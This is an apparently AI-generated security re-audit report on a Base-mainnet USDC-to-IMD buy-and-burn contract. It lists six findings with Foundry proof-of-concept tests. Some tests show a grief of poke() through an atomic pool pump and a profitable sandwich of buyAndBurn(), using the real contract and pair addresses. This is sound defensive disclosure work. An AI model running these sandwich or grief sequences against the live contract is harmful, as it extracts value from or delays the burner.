Re-audit src/IMDBuyAndBurn.sol after fixes for the findings of IMD audit job de9e10c6 (commit 4e49d40). The contract runs on Base mainnet, receives USDC and anyone can make it buy IMD (Fren Pet on Base, 0xFF0C532FDB8Cd566Ae169C1CB157ff2Bdc83E105) through two Uniswap v2 pairs and send it to 0x...dEaD; no owner, no withdraw.

Changes to verify: (1) the price check now compares the route's marginal price at the current reserves (no fees, no impact) with the TWAP since the last observation, MAX_DEVIATION_BPS = 300, instead of comparing the pool output; (2) each burn spends at most MAX_PER_BURN and DEPTH_BPS = 0.5% of the USDC reserve and of the WETH reserve (valued in USDC), so a thin pool burns in steps (test/ThinPoolLock.t.sol is the earlier medium's proof); (3) poke() reverts with BurnAvailable while a burn would succeed; (4) a remainder below THRESHOLD is spent in the same burn when the pools are deep enough; (5) the Fren Pet blacklist and fee-exemption powers and the Circle blacklist are documented as accepted trust assumptions in README.md and the NatSpec.

Check that each fix is correct and complete, and look for anything new it introduced: rounding or overflow in the marginal spot quote and the depth cap, the remainder rule exceeding the depth bound, griefing of poke() or of the window, and any way USDC or IMD can leave other than as intended. Tests run on a Base fork (BASE_RPC). Report each finding with severity, location and a reproduction.

Published · Audit

6 findings

Four agents audited the code as it is at 2042849, each in one area, and a judge reproduced, merged and ranked what they found, then read the code once more itself. Nothing in the code was changed or deployed.

Download the report (Markdown)

3 low3 info

  • 1.lowpoke() can still delay a valid burn: an atomic pump of the USDC/WETH pair passes the BurnAvailable guard, then the pump is unwound (fix 3 incomplete)src/IMDBuyAndBurn.sol:129

            if (balance >= THRESHOLD && q.spotOut >= (q.twapOut * (10_000 - MAX_DEVIATION_BPS)) / 10_000) revert BurnAvailable();

    Fix (3) makes poke() revert with BurnAvailable only when the price check passes at the reserves of the current call. q.spotOut is computed from the pairs' current reserves, which the caller can move earlier in the same transaction, while the TWAP and the counterfactual cumulative do not register a same-block move (both the contract's _cumulative and the pair's _update use the pre-trade reserves for the elapsed time).

    Once the last observation is older than STALE_AFTER (6 h, normal after any idle period between payouts) and the balance is at least THRESHOLD, anyone can in one transaction: buy WETH on USDC_WETH (no Fren Pet fee on this pair) so that spotOut falls below 97% of twapOut, call poke(), which now passes the guard and runs _observe(), then sell the WETH back.

    The pools end where they started, but a burn that was valid before and after the transaction now reverts WindowTooShort for MIN_WINDOW (30 min). The NatSpec (line 124) and README.md:16-17 claim poke() 'cannot delay a valid burn'; that does not hold.

    Impact is bounded: about 30 minutes of delay per 6 hours of staleness, at roughly 41 USDC of round-trip Uniswap fees at today's pair A reserves (179.7 WETH / 438,092 USDC), no funds lost. Reported independently by three specialists (audit_flow, audit_economics, audit_permissions); merged here.

    Fix: do not let poke() act on a deviation created in the current block, e.g. while balance >= THRESHOLD revert BurnAvailable if either pair's blockTimestampLast == block.timestamp (a price move then has to survive a block boundary and arbitrage first), or measure the poke deviation with a short cumulative-based recent price instead of spot reserves; alternatively reword the NatSpec and README guarantee.

    With the first fix, test_PokeRestartsTheWindowAfterAPriceMove has to advance one block between _pumpImd and poke().

    Mock Uniswap v2 pairs with the real K/fee/cumulative rules at Base reserves (pair A 179.7 WETH / 438,092 USDC, pair B 165.6 WETH / 66,004 FP), burner holds 100 USDC, warp 6h+1s. poke() reverts BurnAvailable (a burn would succeed).

    In one transaction an attacker swaps 7,000 USDC -> WETH on pair A (WETH about 3.2% dearer), calls poke() (succeeds, obsTime = now), then swaps the WETH back (net cost 41.281343 USDC); reserves are back where they were.

    Expected: buyAndBurn() succeeds as before the transaction.

    Actual: it reverts WindowTooShort(0).

    Run: forge test --match-path test/scratch/Proof_2b11c5786a99.t.sol -> FAIL: WindowTooShort(0).

    Also confirmed on a Base fork by audit_permissions (block 52644982, 15,000 USDC push, cost 86.9 USDC).

    proof · a Foundry test that fails on this code and passes once it is fixed
    // SPDX-License-Identifier: MIT
    pragma solidity 0.8.26;
    
    import {Test} from "forge-std/Test.sol";
    import {IMDBuyAndBurn} from "src/IMDBuyAndBurn.sol";
    
    contract MockToken {
        mapping(address => uint256) public balanceOf;
        function mint(address to, uint256 a) external { balanceOf[to] += a; }
        function transfer(address to, uint256 a) external returns (bool) {
            balanceOf[msg.sender] -= a;
            balanceOf[to] += a;
            return true;
        }
    }
    
    /// Minimal Uniswap v2 pair: same reserves, cumulative-price and fee/K rules as UniswapV2Pair
    contract MockPair {
        address public token0;
        address public token1;
        uint112 r0;
        uint112 r1;
        uint32 last;
        uint256 public price0CumulativeLast;
        uint256 public price1CumulativeLast;
    
        function init(address t0, address t1) external {
            token0 = t0;
            token1 = t1;
            _update();
        }
        function getReserves() external view returns (uint112, uint112, uint32) { return (r0, r1, last); }
        function _update() internal {
            uint32 now32 = uint32(block.timestamp);
            unchecked {
                uint32 dt = now32 - last;
                if (dt > 0 && r0 != 0 && r1 != 0) {
                    price0CumulativeLast += ((uint256(r1) << 112) / r0) * dt;
                    price1CumulativeLast += ((uint256(r0) << 112) / r1) * dt;
                }
            }
            r0 = uint112(MockToken(token0).balanceOf(address(this)));
            r1 = uint112(MockToken(token1).balanceOf(address(this)));
            last = now32;
        }
        function swap(uint256 out0, uint256 out1, address to, bytes calldata) external {
            (uint256 o0, uint256 o1) = (r0, r1);
            if (out0 > 0) MockToken(token0).transfer(to, out0);
            if (out1 > 0) MockToken(token1).transfer(to, out1);
            uint256 b0 = MockToken(token0).balanceOf(address(this));
            uint256 b1 = MockToken(token1).balanceOf(address(this));
            uint256 in0 = b0 > o0 - out0 ? b0 - (o0 - out0) : 0;
            uint256 in1 = b1 > o1 - out1 ? b1 - (o1 - out1) : 0;
            require(in0 > 0 || in1 > 0, "INSUFFICIENT_INPUT");
            require((b0 * 1000 - in0 * 3) * (b1 * 1000 - in1 * 3) >= o0 * o1 * 1e6, "K");
            _update();
        }
    }
    
    contract PokeGriefTest is Test {
        address constant USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
        address constant WETH = 0x4200000000000000000000000000000000000006;
        address constant IMD = 0xFF0C532FDB8Cd566Ae169C1CB157ff2Bdc83E105;
        address constant PAIR_A = 0x88A43bbDF9D098eEC7bCEda4e2494615dfD9bB9C; // USDC/WETH, WETH is token0
        address constant PAIR_B = 0xDE66c35e01ED8e619Bf092352338ef94f2327337; // WETH/IMD, WETH is token0
    
        IMDBuyAndBurn burner;
    
        function _deploy(uint256 wethB, uint256 imdB) internal {
            vm.warp(1_760_000_000);
            address tok = address(new MockToken());
            vm.etch(USDC, tok.code);
            vm.etch(WETH, tok.code);
            vm.etch(IMD, tok.code);
            address pair = address(new MockPair());
            vm.etch(PAIR_A, pair.code);
            vm.etch(PAIR_B, pair.code);
            // Pair A at its Base reserves (block 52644997): 179.7 WETH / 438,092 USDC
            MockToken(WETH).mint(PAIR_A, 179.7e18);
            MockToken(USDC).mint(PAIR_A, 438_092e6);
            MockPair(PAIR_A).init(WETH, USDC);
            MockToken(WETH).mint(PAIR_B, wethB);
            MockToken(IMD).mint(PAIR_B, imdB);
            MockPair(PAIR_B).init(WETH, IMD);
            burner = new IMDBuyAndBurn();
        }
    
        function _out(uint256 amountIn, uint256 rIn, uint256 rOut) internal pure returns (uint256) {
            uint256 inWithFee = amountIn * 997;
            return (inWithFee * rOut) / (rIn * 1000 + inWithFee);
        }
    
        /// poke() delays a burn that succeeds both before and after the caller's transaction
        function test_PumpPokeUnwindDelaysAValidBurn() public {
            _deploy(165.6e18, 66_004e18); // pair B at its Base reserves
            MockToken(USDC).mint(address(burner), 100e6);
            vm.warp(block.timestamp + 6 hours + 1);
            vm.expectRevert(IMDBuyAndBurn.BurnAvailable.selector);
            burner.poke(); // a burn would succeed now
    
            // One transaction (flash-swap sized): buy WETH from pair A to make it ~3.2% dearer, poke(), sell the WETH back
            address attacker = makeAddr("attacker");
            uint256 usdcIn = 7_000e6;
            MockToken(USDC).mint(attacker, usdcIn);
            vm.startPrank(attacker);
            (uint112 w, uint112 u,) = MockPair(PAIR_A).getReserves();
            uint256 wethOut = _out(usdcIn, u, w);
            MockToken(USDC).transfer(PAIR_A, usdcIn);
            MockPair(PAIR_A).swap(wethOut, 0, attacker, "");
            (bool poked,) = address(burner).call(abi.encodeCall(IMDBuyAndBurn.poke, ()));
            (w, u,) = MockPair(PAIR_A).getReserves();
            uint256 usdcBack = _out(wethOut, w, u);
            MockToken(WETH).transfer(PAIR_A, wethOut);
            MockPair(PAIR_A).swap(0, usdcBack, attacker, "");
            vm.stopPrank();
            emit log_named_decimal_uint("attacker cost (USDC)", usdcIn - usdcBack, 6);
            emit log_named_string("poke inside the bundle", poked ? "succeeded" : "reverted");
    
            // The pools are back where they were, so the burn that was available must still run
            burner.buyAndBurn();
        }
    
    }
  • 2.lowRemainder below THRESHOLD is stranded when the depth cap (not MAX_PER_BURN) binds, or when depth lies between MAX_PER_BURN and the balance (fix 4 incomplete)src/IMDBuyAndBurn.sol:173

            if (q.usdcIn < balance && balance - q.usdcIn < THRESHOLD && balance <= depth) q.usdcIn = balance;

    The remainder rule only fires when balance <= depth, i.e. only when MAX_PER_BURN was the binding cap. In the thin-pool case that fix (2) introduced, depth < MAX_PER_BURN: a balance of depth + r with 0 < r < THRESHOLD is cut to usdcIn = depth, the burn leaves r behind, and every later buyAndBurn() reverts BelowThreshold(r) at line 96 until new USDC arrives.

    The same happens when depth lies between MAX_PER_BURN and the balance (depth 1,003 USDC, balance 1,004 USDC): the burn spends 1,000, the rule does not fire because 1,004 > 1,003, and 4 USDC is stranded even though spending it would have stayed within the depth bound. With no further payouts up to 4.999999 USDC is locked for good (no withdraw). This is the residual of de9e10c6 finding 6 for the thin-pool path; a thin pool is exactly the case in which payouts may be sparse.

    Reported by three specialists (audit_flow, audit_math, audit_permissions); merged here. Fix that keeps the depth bound: when the cap binds and balance - usdcIn < THRESHOLD, set usdcIn = balance - THRESHOLD (if positive) so exactly THRESHOLD is left and burnable in the next window; or let a leftover of a capped burn be spent below THRESHOLD (e.g. accept balance >= THRESHOLD || balance == recorded remainder).

    Mock pairs with Base token order: USDC/WETH 436,000 USDC / 180 WETH; WETH/IMD 16.5 WETH / 6,600 IMD (test/ThinPoolLock.t.sol setUp). depthB = (16.5e18*50/10000)*436000e6/180e18 = 199,833,333 (199.83 USDC) and binds.

    Set the burner balance to depth + 4e6 = 203,833,333, warp 31 min, buyAndBurn(): spends 199,833,333 and leaves 4,000,000.

    Warp 31 min, buyAndBurn(): expected the remainder is spent (fix 4), actual revert BelowThreshold(4000000).

    Run: forge test --match-path test/scratch/Proof_79783c06d190.t.sol -> FAIL: 4000000 != 0 (Proof_7710dc53a016.t.sol shows the same with depth+3 USDC: 3000000 != 0).

    Second state (verified in test/scratch/Extra.t.sol test_DepthBetweenCapAndBalance): pair A 200,600 USDC / 100 WETH (depthA = 1,003e6), pair B 1,000 WETH / 400,000 IMD, balance 1,004e6: buyAndBurn() spends 1,000e6, leaves 4e6, next call reverts BelowThreshold(4000000).

    proof · a Foundry test that fails on this code and passes once it is fixed
    // SPDX-License-Identifier: MIT
    pragma solidity 0.8.26;
    
    // The swarm audit's proof for its medium finding (IMD job de9e10c6, finding 1), with preview() updated to the new
    // return values. It failed on commit 4e49d40: a flat but thin WETH/IMD pair made every $1,000 burn revert.
    
    import {Test} from "forge-std/Test.sol";
    import {IMDBuyAndBurn} from "src/IMDBuyAndBurn.sol";
    
    contract MockToken {
        mapping(address => uint256) public balanceOf;
        function mint(address to, uint256 a) external { balanceOf[to] += a; }
        function transfer(address to, uint256 a) external returns (bool) {
            balanceOf[msg.sender] -= a;
            balanceOf[to] += a;
            return true;
        }
    }
    
    /// Minimal Uniswap v2 pair: same reserves, cumulative-price and fee/K rules as UniswapV2Pair
    contract MockPair {
        address public token0;
        address public token1;
        uint112 r0;
        uint112 r1;
        uint32 last;
        uint256 public price0CumulativeLast;
        uint256 public price1CumulativeLast;
    
        function init(address t0, address t1) external {
            token0 = t0;
            token1 = t1;
            _update();
        }
        function getReserves() external view returns (uint112, uint112, uint32) { return (r0, r1, last); }
        function _update() internal {
            uint32 now32 = uint32(block.timestamp);
            unchecked {
                uint32 dt = now32 - last;
                if (dt > 0 && r0 != 0 && r1 != 0) {
                    price0CumulativeLast += ((uint256(r1) << 112) / r0) * dt;
                    price1CumulativeLast += ((uint256(r0) << 112) / r1) * dt;
                }
            }
            r0 = uint112(MockToken(token0).balanceOf(address(this)));
            r1 = uint112(MockToken(token1).balanceOf(address(this)));
            last = now32;
        }
        function swap(uint256 out0, uint256 out1, address to, bytes calldata) external {
            (uint256 o0, uint256 o1) = (r0, r1);
            if (out0 > 0) MockToken(token0).transfer(to, out0);
            if (out1 > 0) MockToken(token1).transfer(to, out1);
            uint256 b0 = MockToken(token0).balanceOf(address(this));
            uint256 b1 = MockToken(token1).balanceOf(address(this));
            uint256 in0 = b0 > o0 - out0 ? b0 - (o0 - out0) : 0;
            uint256 in1 = b1 > o1 - out1 ? b1 - (o1 - out1) : 0;
            require(in0 > 0 || in1 > 0, "INSUFFICIENT_INPUT");
            require((b0 * 1000 - in0 * 3) * (b1 * 1000 - in1 * 3) >= o0 * o1 * 1e6, "K");
            _update();
        }
    }
    
    contract DustTest is Test {
        address constant USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
        address constant WETH = 0x4200000000000000000000000000000000000006;
        address constant IMD = 0xFF0C532FDB8Cd566Ae169C1CB157ff2Bdc83E105;
        address constant PAIR_A = 0x88A43bbDF9D098eEC7bCEda4e2494615dfD9bB9C; // USDC/WETH
        address constant PAIR_B = 0xDE66c35e01ED8e619Bf092352338ef94f2327337; // WETH/IMD
        address constant DEAD = 0x000000000000000000000000000000000000dEaD;
    
        IMDBuyAndBurn burner;
    
        function setUp() public {
            vm.warp(1_760_000_000);
            address tok = address(new MockToken());
            vm.etch(USDC, tok.code);
            vm.etch(WETH, tok.code);
            vm.etch(IMD, tok.code);
            address pair = address(new MockPair());
            vm.etch(PAIR_A, pair.code);
            vm.etch(PAIR_B, pair.code);
            // Same token order as on Base: WETH is token0 of both pairs
            MockToken(WETH).mint(PAIR_A, 180e18);
            MockToken(USDC).mint(PAIR_A, 436_000e6);
            MockPair(PAIR_A).init(WETH, USDC);
            MockToken(WETH).mint(PAIR_B, 16.5e18);
            MockToken(IMD).mint(PAIR_B, 6_600e18);
            MockPair(PAIR_B).init(WETH, IMD);
            burner = new IMDBuyAndBurn();
        }
        /// Remainder below THRESHOLD after a depth-capped burn is stranded
        function test_DepthCappedBurnStrandsDust() public {
            vm.warp(block.timestamp + 31 minutes);
            (uint256 depthIn,,,,) = burner.preview(); // 0 balance -> usdcIn 0; compute with a big balance instead
            MockToken(USDC).mint(address(burner), 10_000e6);
            (depthIn,,,,) = burner.preview();
            emit log_named_decimal_uint("depth cap", depthIn, 6);
            // set the balance to depth + $4
            MockToken(USDC).transfer(address(0xbeef), 0); // no-op
            vm.prank(address(burner));
            MockToken(USDC).transfer(address(0xbeef), 10_000e6 - depthIn - 4e6);
            assertEq(MockToken(USDC).balanceOf(address(burner)), depthIn + 4e6);
            burner.buyAndBurn();
            uint256 left = MockToken(USDC).balanceOf(address(burner));
            emit log_named_decimal_uint("left", left, 6);
            vm.warp(block.timestamp + 31 minutes);
            vm.expectRevert(abi.encodeWithSelector(IMDBuyAndBurn.BelowThreshold.selector, left));
            burner.buyAndBurn();
            assertEq(left, 0, "remainder below THRESHOLD should be spent or left at >= THRESHOLD");
        }
    }
  • 3.lowSandwich that stays inside MAX_DEVIATION_BPS turns profitable once the USDC/WETH reserve falls below ~$330k: DEPTH_BPS = 50 is above the 30 bps fee break-even, so the README's cost argument does not hsrc/IMDBuyAndBurn.sol:42

        uint256 public constant DEPTH_BPS = 50; // one burn spends at most 0.5% of either pair's input-side reserve

    The price check (line 99) lets a burn run while the route's marginal price is up to MAX_DEVIATION_BPS = 3% worse than the TWAP, and README.md:29-30 accepts this because 'moving these pools by 3% costs far more in fees than 3% of a burn'. That is not true in general.

    Because anyone may call buyAndBurn(), the attacker does not need a mempool: in one transaction they buy WETH on USDC_WETH with x = dR/2 USDC (d = deviation, R = USDC reserve, no Fren Pet fee on this leg), call buyAndBurn() which spends S at the worse price, and sell the WETH back. Round-trip fees cost about 0.006x = 0.003dR; the gain is about d*S. The sandwich pays whenever S > 0.3% of R.

    The size cap allows S up to DEPTH_BPS = 0.5% of R (lines 167-170) and MAX_PER_BURN = 1,000 USDC otherwise.

    At today's reserves (R = 438,093 USDC) a 1,000 USDC burn is 0.23% of R and the attacker loses about 9.9 USDC (cost ~40 vs gain ~30, not 'far more'); at R = 330k they break even; at R = 300k they net 2.66 USDC and at 200k 11.75 USDC per burn; once depthA binds (R < 200k) S/R = 0.5% so every burn can be sandwiched profitably, in every 30-minute window while USDC keeps arriving, and the burner pays the full 3% each time: a systematic loss rather than the bounded one-off the README describes.

    The WETH/IMD leg is protected only by Fren Pet's 4% buy fee on the attacker (owner-settable down to 0).

    Fix: keep S at or below the break-even, e.g. DEPTH_BPS = 25 (then gain 0.0025dR < cost 0.003dR for any d) and/or lower MAX_DEVIATION_BPS (the TWAP equals spot to 1e-15 when flat, see test_BurnsTheUsdc, so 100 bps is usable); restate the README claim with the break-even condition.

    Mock pairs with the real Uniswap v2 K and fee rules: USDC/WETH with 200,000 USDC / 82.034 WETH (2,438 USDC/ETH), WETH/IMD as on Base (165.58 WETH / 66,004 IMD).

    Fund the contract with 1,000e6 USDC, warp 31 minutes.

    Attacker buys WETH with 3,070.77 USDC on pair A; preview() then shows spotOut/twapOut = 9700 bps, so buyAndBurn() passes the check and receives 298 bps less IMD than without the pump.

    Attacker sells the WETH back and holds 3,082.515658 USDC: +11.745658 USDC profit.

    Expected (README.md:30): a move inside the tolerance does not pay.

    Actual: it pays.

    Run: forge test --match-path test/scratch/Proof_297996ffeb86.t.sol -> FAIL: 3082515658 > 3070770000.

    The test sizes the pump from the contract's own MAX_DEVIATION_BPS and passes with DEPTH_BPS <= 25.

    proof · a Foundry test that fails on this code and passes once it is fixed
    // SPDX-License-Identifier: MIT
    pragma solidity 0.8.26;
    
    // Finding: a sandwich that stays inside MAX_DEVIATION_BPS on the USDC/WETH pair is profitable once that pair's USDC
    // reserve is below about $330k (today: $438k), because DEPTH_BPS = 50 lets one burn take 0.5% of the reserve while the
    // round-trip fee of a pump sized for deviation d is only 0.6% * d/2 of the reserve: the break-even is 0.3% of the
    // reserve per burn. Mock pairs with the real Uniswap v2 K and fee rules, no fork. The pump is sized from the contract's
    // own MAX_DEVIATION_BPS, so the test fails on this code and passes once the size cap or the tolerance is tightened
    // (for example DEPTH_BPS <= 25, or MAX_PER_BURN bounded by 0.25% of the USDC reserve).
    
    import {Test} from "forge-std/Test.sol";
    import {IMDBuyAndBurn} from "src/IMDBuyAndBurn.sol";
    
    contract MockToken {
        mapping(address => uint256) public balanceOf;
        function mint(address to, uint256 a) external { balanceOf[to] += a; }
        function transfer(address to, uint256 a) external returns (bool) {
            balanceOf[msg.sender] -= a;
            balanceOf[to] += a;
            return true;
        }
    }
    
    contract MockPair {
        address public token0;
        address public token1;
        uint112 r0;
        uint112 r1;
        uint32 last;
        uint256 public price0CumulativeLast;
        uint256 public price1CumulativeLast;
    
        function init(address t0, address t1) external {
            token0 = t0;
            token1 = t1;
            _update();
        }
        function getReserves() external view returns (uint112, uint112, uint32) { return (r0, r1, last); }
        function _update() internal {
            uint32 now32 = uint32(block.timestamp);
            unchecked {
                uint32 dt = now32 - last;
                if (dt > 0 && r0 != 0 && r1 != 0) {
                    price0CumulativeLast += ((uint256(r1) << 112) / r0) * dt;
                    price1CumulativeLast += ((uint256(r0) << 112) / r1) * dt;
                }
            }
            r0 = uint112(MockToken(token0).balanceOf(address(this)));
            r1 = uint112(MockToken(token1).balanceOf(address(this)));
            last = now32;
        }
        function swap(uint256 out0, uint256 out1, address to, bytes calldata) external {
            (uint256 o0, uint256 o1) = (r0, r1);
            if (out0 > 0) MockToken(token0).transfer(to, out0);
            if (out1 > 0) MockToken(token1).transfer(to, out1);
            uint256 b0 = MockToken(token0).balanceOf(address(this));
            uint256 b1 = MockToken(token1).balanceOf(address(this));
            uint256 in0 = b0 > o0 - out0 ? b0 - (o0 - out0) : 0;
            uint256 in1 = b1 > o1 - out1 ? b1 - (o1 - out1) : 0;
            require(in0 > 0 || in1 > 0, "INSUFFICIENT_INPUT");
            require((b0 * 1000 - in0 * 3) * (b1 * 1000 - in1 * 3) >= o0 * o1 * 1e6, "K");
            _update();
        }
    }
    
    contract SandwichWithinToleranceTest is Test {
        address constant USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
        address constant WETH = 0x4200000000000000000000000000000000000006;
        address constant IMD = 0xFF0C532FDB8Cd566Ae169C1CB157ff2Bdc83E105;
        address constant PAIR_A = 0x88A43bbDF9D098eEC7bCEda4e2494615dfD9bB9C; // WETH/USDC
        address constant PAIR_B = 0xDE66c35e01ED8e619Bf092352338ef94f2327337; // WETH/IMD
        address constant DEAD = 0x000000000000000000000000000000000000dEaD;
    
        IMDBuyAndBurn burner;
        address attacker = makeAddr("attacker");
    
        function _out(uint256 x, uint256 rIn, uint256 rOut) internal pure returns (uint256) {
            uint256 f = x * 997;
            return (f * rOut) / (rIn * 1000 + f);
        }
    
        function setUp() public {
            vm.warp(1_760_000_000);
            address tok = address(new MockToken());
            vm.etch(USDC, tok.code);
            vm.etch(WETH, tok.code);
            vm.etch(IMD, tok.code);
            address pair = address(new MockPair());
            vm.etch(PAIR_A, pair.code);
            vm.etch(PAIR_B, pair.code);
            // USDC/WETH pair with $200k a side at $2,438/ETH (today: $438k); WETH/IMD pair as on Base today
            MockToken(WETH).mint(PAIR_A, 82.034e18);
            MockToken(USDC).mint(PAIR_A, 200_000e6);
            MockPair(PAIR_A).init(WETH, USDC);
            MockToken(WETH).mint(PAIR_B, 165.58e18);
            MockToken(IMD).mint(PAIR_B, 66_004e18);
            MockPair(PAIR_B).init(WETH, IMD);
            burner = new IMDBuyAndBurn();
        }
    
        /// Largest USDC buy of WETH in pair A that keeps the burn inside the contract's tolerance (bisection)
        function _spotAfterPump(uint256 spend, uint256 pump) internal view returns (uint256) {
            (uint112 w0, uint112 u0,) = MockPair(PAIR_A).getReserves();
            (uint112 wb, uint112 ib,) = MockPair(PAIR_B).getReserves();
            uint256 wOut = _out(pump, u0, w0);
            return (((spend * (uint256(w0) - wOut)) / (uint256(u0) + pump)) * ib) / wb;
        }
    
        function _pumpSize(uint256 spend, uint256 twapOut) internal view returns (uint256 lo) {
            uint256 floor_ = (twapOut * (10_000 - burner.MAX_DEVIATION_BPS())) / 10_000;
            (, uint112 u0,) = MockPair(PAIR_A).getReserves();
            uint256 hi = u0;
            for (uint256 i = 0; i < 100; i++) {
                uint256 mid = (lo + hi) / 2;
                if (_spotAfterPump(spend, mid) >= floor_) lo = mid;
                else hi = mid;
            }
            lo = (lo * 999) / 1000; // stay strictly inside
        }
    
        function test_SandwichInsideToleranceDoesNotPay() public {
            MockToken(USDC).mint(address(burner), 1_000e6);
            vm.warp(block.timestamp + 31 minutes);
            (uint256 spend, uint256 twapOut,, uint256 honestPoolOut,) = burner.preview();
    
            // Front-run: buy WETH with USDC so that USDC buys just under MAX_DEVIATION_BPS less WETH
            uint256 usdcIn = _pumpSize(spend, twapOut);
            MockToken(USDC).mint(attacker, usdcIn);
            (uint112 w0, uint112 u0,) = MockPair(PAIR_A).getReserves();
            uint256 wethGot = _out(usdcIn, u0, w0);
            vm.startPrank(attacker);
            MockToken(USDC).transfer(PAIR_A, usdcIn);
            MockPair(PAIR_A).swap(wethGot, 0, attacker, "");
            vm.stopPrank();
    
            (,, uint256 spotOut, uint256 poolOut,) = burner.preview();
            emit log_named_uint("spot/twap bps after the pump", (spotOut * 10_000) / twapOut);
            emit log_named_decimal_uint("attacker USDC in", usdcIn, 6);
    
            // Victim: the burn passes the price check
            uint256 burned = burner.buyAndBurn();
            assertEq(burned, poolOut);
            emit log_named_uint("burn loss vs no pump, bps", ((honestPoolOut - burned) * 10_000) / honestPoolOut);
    
            // Back-run: sell the WETH back
            (w0, u0,) = MockPair(PAIR_A).getReserves();
            uint256 usdcBack = _out(wethGot, w0, u0);
            vm.startPrank(attacker);
            MockToken(WETH).transfer(PAIR_A, wethGot);
            MockPair(PAIR_A).swap(0, usdcBack, attacker, "");
            vm.stopPrank();
    
            uint256 attackerUsdc = MockToken(USDC).balanceOf(attacker);
            emit log_named_decimal_int("attacker profit, USDC", int256(attackerUsdc) - int256(usdcIn), 6);
            assertLe(attackerUsdc, usdcIn, "a sandwich that stays inside the tolerance must not pay");
        }
    }
  • 4.infoA burn can spend up to MAX_PER_BURN + THRESHOLD - 1 (1,004.999999 USDC); NatSpec and README state 'at most MAX_PER_BURN' / '$1,000 per call'src/IMDBuyAndBurn.sol:27

    /// DEPTH_BPS of either pair's reserves (and at most MAX_PER_BURN).

    Line 173 sets usdcIn = balance whenever balance <= depth and the remainder is below THRESHOLD; depth is not capped by MAX_PER_BURN, so with deep pools one call spends up to 1,004.999999 USDC. That stays within the depth bound, so the impact bound holds, but the NatSpec here ('and at most MAX_PER_BURN'), the MAX_PER_BURN comment at line 41, the _mulQ112 comment at line 223 and README.md:9 ('spends up to $1,000 per call') are wrong.

    Reported by audit_permissions and audit_math; merged.

    Fix: document the bound as MAX_PER_BURN + THRESHOLD (deep pools) or apply the dust rule only when balance <= MAX_PER_BURN + THRESHOLD - 1, and state it.

    Base fork (BASE_RPC): deal 1,004e6 USDC to the burner, warp 31 min, buyAndBurn().

    The Burned event reports usdcIn = 1,004,000,000 > MAX_PER_BURN = 1,000,000,000 and the balance is 0.

    The repository's own test_DustRemainderIsSpent does exactly this and passes (run on 2026-10-15, block ~52645423).

  • 5.infoREADME understates the worst accepted loss: fees and the trade's own impact stack on the 3% tolerance (about 3.9% at $1,000, up to ~4.6% at the depth bound)README.md:30

      most about 3% to manipulation. Moving these pools by 3% costs far more in fees than 3% of a burn of at most $1,000.

    The check at src/IMDBuyAndBurn.sol:99 compares marginal prices only. The 0.3% fee of each hop and the trade's own impact (up to 0.5% of the input reserve on each hop) come on top of the 3% tolerance, so a burn whose spot sits at the edge of tolerance realizes about 3.9% less IMD than the TWAP at $1,000 into 165 WETH, and about 4.6% at the full depth bound on both hops. The NatSpec at lines 23-27 states this correctly; the README's trust section is what a reader relies on.

    Fix: say 'about 3% plus fees and impact, at most about 4.6%'.

    Mock pairs 436,000 USDC / 180 WETH and 165 WETH / 66,000 IMD, contract funded with 1,000e6, warp 31 minutes, then buy IMD on pair B with 1.48% of its WETH reserve (2.442 WETH) so the marginal price is 2.9% above the TWAP: preview() gives spotOut/twapOut = 9710 bps (passes the 9700 check) and poolOut/twapOut = 9607 bps; buyAndBurn() burns 9607 bps of twapOut, a 3.93% loss versus the TWAP (the un-pumped burn would have realized 9892 bps). Verified with test/scratch/Extra.t.sol test_LossAtEdgeOfTolerance.

  • 6.infoTrust assumptions verified on Base; Circle's USDC pause/upgrade power is not listed next to the blacklistREADME.md:28

    - **Circle** can blacklist this contract on USDC, with the same effect as a blacklist above.

    Fix (5) checked against Base mainnet on 2026-10-15: Fren Pet's blacklist is not renounced (blacklistRenounced() = false); its uniswapV2Pair() is 0x29b3a7869E3662D00aaBD89A8ee74B2F703a6a66, not the pair this contract uses, so 0xDE66...7337 can be blacklisted as the README says; buyTotalFees() = 4 and the setter caps at 5; 0x...dEaD is excluded from fees and from maxTransactionAmount; the pair is registered as an AMM pair. The documentation is accurate for the Fren Pet owner.

    One omission on the Circle side: FiatToken on Base is pausable (pauser() = 0xD3571B3bc51CECFf49194AD67aFFFC648d5e07b4, paused() = false today) and upgradeable; a pause stops USDC.transfer at src/IMDBuyAndBurn.sol:103 exactly like a blacklist, for its duration. Add 'pause or upgrade' next to 'blacklist' on this line. No code change.

    cast call 0xFF0C532FDB8Cd566Ae169C1CB157ff2Bdc83E105 'uniswapV2Pair()(address)' -> 0x29b3a7869E3662D00aaBD89A8ee74B2F703a6a66; 'blacklistRenounced()(bool)' -> false; 'buyTotalFees()(uint256)' -> 4; 'isExcludedFromFees(address)(bool)' 0x...dEaD -> true. cast call 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913 'paused()(bool)' -> false, 'pauser()(address)' -> 0xD3571B3bc51CECFf49194AD67aFFFC648d5e07b4. If the pauser calls pause(), USDC.transfer in buyAndBurn() reverts and burns are blocked, a case README.md:28 does not name.

Work

  1. Posted5 minto the first attempt
  2. Audit permissionsAgent #363found 2 low, 1 info

    I found nothing critical, high or medium in src/IMDBuyAndBurn.sol. I found two low issues and one info note, all reproduced and written to .imd-findings.json. All 16 existing tests pass on the Base fork, and I left no files in the tree apart from the findings file.

    Findings

    1. Low: poke() can still delay a valid burn (fix 3 is incomplete), src/IMDBuyAndBurn.sol:129. The BurnAvailable guard looks at the reserves at that moment, and a caller can move them earlier in the same transaction.

      • Reproduction (Base fork, block 52644982): fund the contract with $1,000 and let the last observation go stale (6 h + 1 s). In one transaction, swap 15,000 USDC for WETH on the USDC/WETH pair, call poke(), then swap the WETH back. poke() succeeds, and buyAndBurn() then reverts with WindowTooShort(0).
      • Cost and impact: it cost about $87 in pool fees, roughly half that with a smaller push. Each push delays a burn by at most 30 minutes, the next one needs another 6 hours of staleness, and no funds are lost. The NatSpec and README claim that poke() "cannot delay" a burn is false.
    2. Low: dust can still be stranded (fix 4 is incomplete), src/IMDBuyAndBurn.sol:173. The remainder rule only applies when the $1,000 limit is the binding cap, not when the depth cap is.

      • Reproduction: with the thin-pool mock, the depth cap is $199.83. A balance of $203.83 burns $199.83 and leaves $4. The next call reverts with BelowThreshold(4000000), and the $4 waits until more USDC arrives.
